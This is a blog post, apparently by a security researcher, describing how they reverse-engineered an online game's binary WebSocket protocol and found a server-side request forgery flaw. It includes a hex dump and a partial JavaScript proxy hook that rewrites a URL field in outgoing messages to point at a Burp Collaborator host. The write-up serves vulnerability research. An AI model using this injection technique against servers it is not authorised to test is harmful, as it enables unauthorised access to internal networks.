Reverse engineering games for fun and SSRF - part 2

18th Jan 2019

This is the final part about reverse engineering a game and found a SSRF vulnerability in it. We're going to take a look at the network protocol and try to understand what's going on, then how it could be modified to inject custom data.

Brief summary

During the last holidays I started to play a new game (that we will name ACME), then I wondered if I could take a closer look at the code and the network traffic. In the previous episode I illustrated some general reconnaissance and how you can successfully proxy an application that doesn't want to be proxied.

Let's get the party started

Ok, decompiling the application and tweak your environment to make everything work could be interesting, but now it's time for some real action. Let's see what we actually have.
The game seems to be using the JSON-RPC 2.0 protocol, which is something nice and nifty for JSON requests. It has a predictable structure both for incoming and outgoing messages, kudos to the developers!

I spent some time clicking around in the account management section, inspecting all the requests, but I found nothing worth mentioning. Data was all about logging (time spent doing what), retrieving data back from the servers (no params involved) or simply stored locally.
That actually makes sense, since the most important thing is gaming, when we exchange data with the other players.

So I started a new match and...
Nothing.
Or even worse: the game was working, but Burp was intercepting nothing!
Sigh, there must be another endpoint to proxy... Once again time to configure, proxy, intercept. Rinse and repeat.

Shall we play a game?

Ok, now I'm really ready, let's see what the heck is happening during games. And...

Are you kidding me? Game data is transmitted as binary? That makes sense, since binary data is a lot more dense than any text, even compressed (and you avoid the overhead of the decompression). But again... I want to see some data!
So after reverse engineering the game, I had to reverse engineering the procol.

Bits and bytes

ACME game protocol is made of static fields in fixed positions and variable data encoded using the Type-Length-Value schema. Let me show you an example.
If your avatar could be only one from a fixed set, it could be easily represented with 01 a2; 01 is the name of the field and a2 is its value. The session ID, on the other hand, could have a variable length, so you have something like this:

00000000: 0a24 3237 3933 6438 6631 2d33 6435 662d  .$2793d8f1-3d5f-
00000010: 3430 3031 2d61 3931 642d 3930 3635 6437  4001-a91d-9065d7
00000020: 3435 3732 6237 0000 0000 0000 0000 0000  4572b7..........

0a is the name of your field (SessionID in this case), 24 is the length (in hex! This means that the actualy length is 36!) and the rest is the value of the session.
Sounds fun? I hope so, because we have to decode a truckload of messages!

All work and no play makes Jack a dull boy

To be honest I was able to quickly separate fields, but I was missing the general picture. Moreover I felt it was useless to decode messages that I knew I could not exploit. So I started to inspect the log file once again, looking for useful hints until I found something like this:

But I know that ID! I saw it earlier!
Long story short, the log file contains all the messages in plain. Now I have the biggest crossword in the world: I have the fields and their meaning, now I "simply" have to match them with their binary format.
Even better, I can do the opposite: inspect the log file, if I found something interesting decode the raw binary using the session id as link.

After some time I saw this message: "url": "http://10.10.10.10/gameendpoint/some/vars".
Wait, a private IP passed by the game application? What if I pass a different IP? Can I force the remote server to connect to a machine that I control?
Oh boy, this is going to be fun.

Are we there yet?

That's wonderful news, but let's face the elephant in the room: Burp doesn't like WebSockets connections. I mean, it does his job to decrypt and log them, but you're stuck in a read-only mode: there's no way to edit requests on the fly. You can do that manually, but WebSockets have a very short timeout, so you're racing against the clock. And finally, are you seriously considering to manually edit binary data?

However, Burp is very versatile: you can chain it to another proxy that will do the whole magic; that's why I took WSProxy and added support for live requests editing.

exports.editBinaryData = function (data) {
  const buffer = Buffer.from(data);

  // We're only interested into outgoing messages
  if (buffer[0] !== 5 || buffer [3] !== 8){
    return data;
  }

  let burp_site = "http://szv9cs05rak73frcrk98xpjfr6xwll.burpcollaborator.net/";
  let i = -1;

  for (let x of buffer){
    // Something something something find the right position

    // Pop chars from the burp collaborator site
    if (in_url && burp_site.length > 0){
      let burp_fragment = burp_site.substring(0, 1).charCodeAt(0).toString(16);
      buffer[i] = parseInt(burp_fragment, 16);
      burp_site = burp_site.substring(1);
    }
  }

  return buffer;
};

And here it comes our nice Server Side Request Forgery

Game, Set, Match.

Conclusions

What a ride! I honestly enjoyed every single moment of this painful task, it allowed me to learn so much about the internals of that game that I ended up having more fun analyzing it rather than playing it.

Comments:

Blog Comments powered by Disqus.